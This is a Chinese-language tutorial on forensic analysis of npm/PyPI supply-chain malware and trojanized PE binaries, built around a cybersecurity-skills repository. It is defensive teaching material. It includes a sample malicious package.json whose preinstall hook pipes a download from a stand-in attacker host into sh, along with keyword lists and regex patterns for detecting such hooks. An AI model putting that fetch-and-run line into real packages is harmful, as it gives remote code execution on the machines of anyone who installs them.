供应链恶意软件制品分析实战从 npm/PyPI 恶意包检测到二进制投毒取证【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATTCK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI 20 platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills导读供应链攻击通过攻陷合法的软件分发渠道将恶意代码伪装成可信更新交付给最终用户典型案例包括 SolarWinds SUNBURST2020影响 18,000 客户、3CX SmoothOperator2023以及层出不穷的 npm/PyPI 包投毒活动。本文以本仓库的 analyzing-supply-chain-malware-artifacts 技能及其 API 参考文档 为骨架系统讲解利用 npm/PyPI 官方注册表 API、Socket.dev、Sigstore/cosign 与 SLSA 框架进行供应链制品审查并结合仓库配套的 agent.py 与 PE 二进制对比脚本落地一套注册表元数据审查 → 安装钩子静态分析 → 二进制投毒比对 → 签名与溯源验证的完整取证流程。读完本文你将具备独立识别可疑依赖包、还原投毒感染链并提取 IOC 的能力。供应链攻击的威胁模型与适用场景攻击为何屡屡得手供应链攻击的核心在于信任的滥用开发者信任npm install、pip install拉取到的包等同于其官方作者意图。攻击者正是利用这一信任链通过三种主要方式投毒木马化合法软件更新对应 MITRE ATTCK T1195.002 Compromise Software Supply Chain入侵软件厂商的构建或分发管道在官方更新中注入恶意代码SolarWinds 与 3CX 事件即属此类投毒合法软件分发渠道T1195.001 Compromise Software Distribution直接向 npm/PyPI 等公共仓库上传恶意包依赖混淆 / 仿冒包注册与热门包同名的孪生包利用打字错误typosquatting或内部私有包名冲突诱导安装。何时启用本技能依据 SKILL.md 的说明以下场景应启动该分析流程调查涉及供应链恶意软件制品的安防事件为该领域构建检测规则或威胁狩猎查询SOC 分析师需要结构化的分析流程验证相关攻击技术的安全监控覆盖度。该技能在仓库中明确映射至 MITRE ATTCK 的 T1195Supply Chain Compromise、T1554Compromise Client Software Binary、T1553.002Code Signing Policy Modification、T1027Obfuscated Files or Information并关联 NIST CSF 的 DE.AE-02、RS.AN-03、ID.RA-01、DE.CM-01 等控制项详见 SKILL.md frontmatter 与 MITRE ATTCK 覆盖总览。前置条件与工具链按照 SKILL.md 的 Prerequisites执行本分析需要Python 3.9并安装pefile、ssdeep、hashlib等库二进制对比工具BinDiff、Diaphora代码签名验证工具Windows 下用sigcheckmacOS 下用codesign软件成分分析SCA工具合法软件版本的访问权用于与被投毒版本比对包仓库监控能力npm、PyPI、NuGet。npm Registry API包元数据取证基础查询命令npm 官方注册表提供开放的 JSON API无需认证即可查询包元数据。核心端点如下源自 api-reference.md# 查询包的所有元数据含全部版本列表 curl https://registry.npmjs.org/package-name # 查询指定版本的元数据 curl https://registry.npmjs.org/package-name/version响应关键字段字段说明取证价值dist-tags.latest最新版本号判断攻击者是否通过更新通道投毒versions所有已发布版本检查是否存在突然的幽灵版本或历史版本被篡改maintainers包维护者列表识别维护者突然变更或新增可疑账号time.created首次发布日期新包模仿热门包名的典型特征time.modified最后修改时间判断包是否在近期被频繁改动仓库源码如何印证这些字段仓库配套的 agent.py 用 Python 完整实现了上述 API 调用并只抽取取证最关键的四个维度def check_npm_package(package_name): url fhttps://registry.npmjs.org/{package_name} resp requests.get(url, timeout15) resp.raise_for_status() data resp.json() latest data.get(dist-tags, {}).get(latest, ) versions list(data.get(versions, {}).keys()) maintainers data.get(maintainers, []) return { name: package_name, latest: latest, version_count: len(versions), maintainers: [m.get(name) for m in maintainers], }从源码实现可以推断出分析时的启发式规则version_count异常偏大或偏小、maintainers列表与包名所属组织不一致、latest版本发布日期与time.created间隔异常都是需要深挖的信号。注意agent.py依赖requests库若未安装会返回{error: requests not installed}。PyPI JSON APIPython 生态投毒排查查询命令PyPI 同样提供标准的 JSON 接口源自 api-reference.mdcurl https://pypi.org/pypi/package-name/json关键字段字段说明取证价值info.author包作者与包名、项目主页核对作者身份真实性info.version当前版本对比最新版与已知合法版本releases所有版本及对应制品检查是否存在删除后重传的版本、异常时间戳info.project_urls源码链接验证包是否指向真实的官方仓库仓库源码实现agent.py 的实现def check_pypi_package(package_name): url fhttps://pypi.org/pypi/{package_name}/json resp requests.get(url, timeout15) resp.raise_for_status() data resp.json() info data.get(info, {}) return { name: info.get(name), version: info.get(version), author: info.get(author), release_count: len(data.get(releases, {})), }实战要点PyPI 恶意包的一大特征是info.author使用随机字符串或与项目历史作者完全不同release_count与info.version不符如只有一个版本却标记大量 release也是常见疑点。下载 release 制品后应优先检查其中的setup.py/setup.cfg是否存在动态执行代码见下文安装钩子分析。可疑包指标清单风险速查表下表是 api-reference.md 给出的核心判据也是自动化扫描规则的直接来源指标严重级别说明preinstall/postinstall 钩子HIGH代码会在npm install期间运行URL/git 依赖HIGH依赖来自非注册表来源setup.py 中的 eval/execHIGH在pip install期间动态执行代码安装脚本中的 Base64HIGH混淆载荷近期创建的包MEDIUM新包仿冒热门名称单一维护者LOW总线因素bus factor风险仓库源码中的指标落地agent.py 将上表前四行 HIGH 级指标固化为可运行的检测逻辑1. npm 安装钩子扫描——遍历preinstall、postinstall、preuninstall三个钩子若命令中出现curl、wget、eval、exec、base64任一关键字则直接判定 HIGH否则为 MEDIUM同时将dependencies与devDependencies中值以http或git开头的依赖标记为 HIGH 级url_dependencyfor hook in [preinstall, postinstall, preuninstall]: if hook in scripts: cmd scripts[hook] findings.append({ type: install_hook, hook: hook, command: cmd[:200], severity: HIGH if any(s in cmd.lower() for s in [curl, wget, eval, exec, base64]) else MEDIUM, })2. setup.py 恶意模式扫描——使用正则匹配六类高危模式patterns [ (ros\.system\(, os.system() execution), (rsubprocess\., subprocess execution), (rexec\(, exec() code execution), (reval\(, eval() code execution), (rbase64\.b64decode, Base64 decoding), (rsocket\., Network socket usage), ]命中任意模式即标记 HIGH 严重级别。这些模式覆盖了 Python 供应链投毒中最常见的安装时外联下载载荷、解码执行、建立 socket 回连手法。npm install 钩子攻击面详解npm 的生命周期脚本lifecycle scripts是供应链投毒的高发区因为它们在包安装、升级、卸载时自动以安装者权限执行。以下 JSON 展示了 api-reference.md 给出的典型恶意配置{ scripts: { preinstall: curl evil[.]example/payload | sh, postinstall: node ./install.js, preuninstall: node cleanup.js } }逐行解读其危害preinstall在依赖安装之前执行。curl ... | sh直接从攻击者服务器拉取 shell 脚本并执行是最直白的远程代码执行通道postinstall在包安装完成后执行。node ./install.js将恶意逻辑藏在 JS 文件中比裸命令更隐蔽且可以在install.js内再解码执行preuninstall在包被卸载前执行。攻击者用它清理现场或执行持久化逻辑即使管理员卸载了恶意包代码仍会先运行一次。检测建议审查任何 npm 包时先运行npm view pkg scripts查看公开的生命周期脚本对本地已下载的包则直接解析package.json的scripts字段。仓库的 agent.py 正是以该字段为输入完成自动化检测。Socket.dev供应链综合分析除官方注册表外api-reference.md 推荐使用 Socket.dev 对依赖进行深度审查# 对当前项目的 npm 依赖进行安全审计 socket npm audit # 查看指定包的供应链信息含行为指标、许可证、依赖关系 socket npm info packageSocket.dev 的价值在于其不依赖已知漏洞库而是通过静态行为分析如检测安装脚本、网络访问、混淆代码、二进制文件识别看似正常但行为可疑的包正好弥补官方注册表元数据审查的盲区。在取证中它可作为 npm/PyPI 元数据查询的交叉验证手段。二进制投毒取证PE 文件对比分析供应链攻击的另一大类是木马化合法二进制如 3CX 的3CXDesktopApp、SolarWinds 的SolarWinds.Orion.Core.BusinessLayer.dll。SKILL.md 提供了完整的 PE 文件对比脚本其核心思路是将可疑二进制与合法版本逐项对比任何新增、异常膨胀或特性改变的节section以及新增的导入函数都是注入代码的指纹。节Section对比逻辑脚本从合法版本与可疑版本中各提取节名称、原始数据大小SizeOfRawData、熵值get_entropy()与特性标志Characteristics然后判断新增节可疑版本中存在而合法版本中不存在的节直接标记为New section not in legitimate version——这是外壳代码packer或附加注入载荷的最常见落点尺寸显著变化同名节大小差异超过 1024 字节时标记Section size significantly changed。合法更新通常只引起小幅尺寸波动大幅膨胀往往意味着植入了额外代码熵值entropy被一并记录加密或压缩的恶意载荷通常具有接近 8.0 的高熵可与合法版本的同名节交叉对比。导入表对比逻辑脚本将两个版本的导入以DLL!function形式收集为集合再求差集suspect_imports - legit_imports得到新增导入。这是极其有力的取证证据若可疑版本新增了对WinINet、ws2_32、advapi32等网络/加密/权限相关 API 的引用而合法版本完全没有基本可以确认存在网络外联或系统提权行为。代码签名状态检查report[legit_signed] bool(legit_pe.OPTIONAL_HEADER.DATA_DIRECTORY[4].Size) report[suspect_signed] bool(suspect_pe.OPTIONAL_HEADER.DATA_DIRECTORY[4].Size)通过检查 PE 可选头中**数据目录索引 4安全目录 / Security Directory**的大小快速判断两个版本是否带数字签名。若合法版本有签名而可疑版本无签名或反之、或签名者不一致即为代码签名异常——这在 SolarWinds、3CX 事件中都是关键的判别特征。运行方式与哈希取证python compare_pe.py legitimate_binary suspect_binary脚本同时内置hash_file()函数对文件计算 MD5、SHA1、SHA256 三种哈希用于 IOC 提取与情报共享。agent.py 中的compute_hash()则以 64KB 分块读取实现同样的多算法哈希避免一次性载入大文件的内存压力。Sigstore/cosign软件签名与完整性验证供应链防御的正面对抗手段是代码签名与签名验证。api-reference.md 给出了 Sigstore 生态下 cosign 的两类验证命令。验证容器镜像cosign verify --certificate-identity-regexp.* \ --certificate-oidc-issuer-regexp.* image:tag--certificate-identity-regexp与--certificate-oidc-issuer-regexp分别以正则约束签名证书的身份与OIDC 签发者。在生产环境应将其替换为具体的身份字符串如发布者邮箱/服务账号与签发者如https://github.com/login/oauth、https://accounts.google.com而不是通配.*——否则验证仅确认存在有效签名无法确认签名者可信。验证任意制品cosign verify-blob --signature file.sig --certificate file.crt artifact.tar.gzverify-blob用于对非容器制品源码 tarball、二进制包、SBOM 文件做签名验证--signature指定签名文件--certificate指定证书文件二者与制品一起参与校验。这在供应链取证中用于确认可疑更新包是否真的由官方密钥签名。SLSA供应链安全等级评估api-reference.md 总结了 SLSASupply-chain Levels for Software Artifacts软件制品供应链等级框架用于评估一个构建流程的可信程度等级要求SLSA 1存在构建来源证明build provenanceSLSA 2托管构建平台来源证明经过认证SLSA 3加固的构建平台来源证明不可伪造SLSA 4双人评审可复现的密封构建hermetic builds取证应用当调查一起疑似供应链攻击时评估受害软件所声称的 SLSA 等级与实际构建实践是否相符非常关键。例如攻击者若声称构建不可伪造SLSA 3却在构建机外部发现注入痕迹即可推断是构建管道本身被攻陷T1195.002或来源证明系统存在缺陷。端到端分析工作流workflows.md 给出了主流程[Sample Collection] -- [Static Analysis] -- [Dynamic Analysis] -- [IOC Extraction] | v [Report Generation]结合本技能的全部工具可将各环节具体化为样本采集通过 npm/PyPI 注册表 API 下载可疑包及历史版本从受害主机提取被投毒的可执行文件与合法版本静态分析对包执行 agent.py 的安装钩子/setup.py扫描对二进制执行 PE 节、导入表、签名状态对比计算 SHA-256 等哈希动态分析在隔离沙箱中执行安装脚本观察外联域名、落盘文件与进程行为对应 SKILL.md 中将注入代码隔离并单独分析的要求IOC 提取整理恶意域名、URL、哈希、签名指纹用于检测规则与阻断报告生成按 template.md 输出结构化报告包含样本信息SHA-256、文件类型、TLP 分级、发现项、IOC 表与修复建议。验证标准与交付物SKILL.md 的 Validation Criteria 定义了分析结论必须满足的质量门槛通过二进制差分binary diffing识别出被木马化的组件注入代码被隔离并单独分析代码签名异常被记录在案从构建产物还原感染时间线受影响系统的下游影响范围得到评估提取 IOC 用于检测与阻断。报告可套用仓库提供的 分析报告模板其结构为Sample InformationSHA-256、文件类型、分析日期、分析师、TLP:AMBER 分级→Findings发现项 严重级别 细节→IOCs Extracted类型 值 上下文→Recommendations。框架映射与本技能在仓库中的定位本技能在仓库中被映射为 MITRE ATTCK 的T1195Supply Chain Compromise主覆盖技能见 coverage-summary.mdSKILL.md 的 frontmatter 还列出了完整的多重框架映射MITRE ATTCKT1195.001/.002、T1554、T1553.002、T1027、NIST CSFDE.AE-02、RS.AN-03、ID.RA-01、DE.CM-01、MITRE ATLASAML.T0010、NIST AI RMFGOVERN-5.2、MAP-1.6、MANAGE-2.2及 D3FEND 相关技术。可结合 NIST SP 800-83。分析完成后可将提取的 ATTCK 覆盖情况导入 attack-navigator-layer.json 可视化呈现或依据 NIST CSF 映射 归档到组织的检测覆盖矩阵中形成从单次事件取证到持续安全监控覆盖的闭环。【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATTCK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI 20 platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills创作声明：本文部分内容由AI辅助生成（AIGC），仅供参考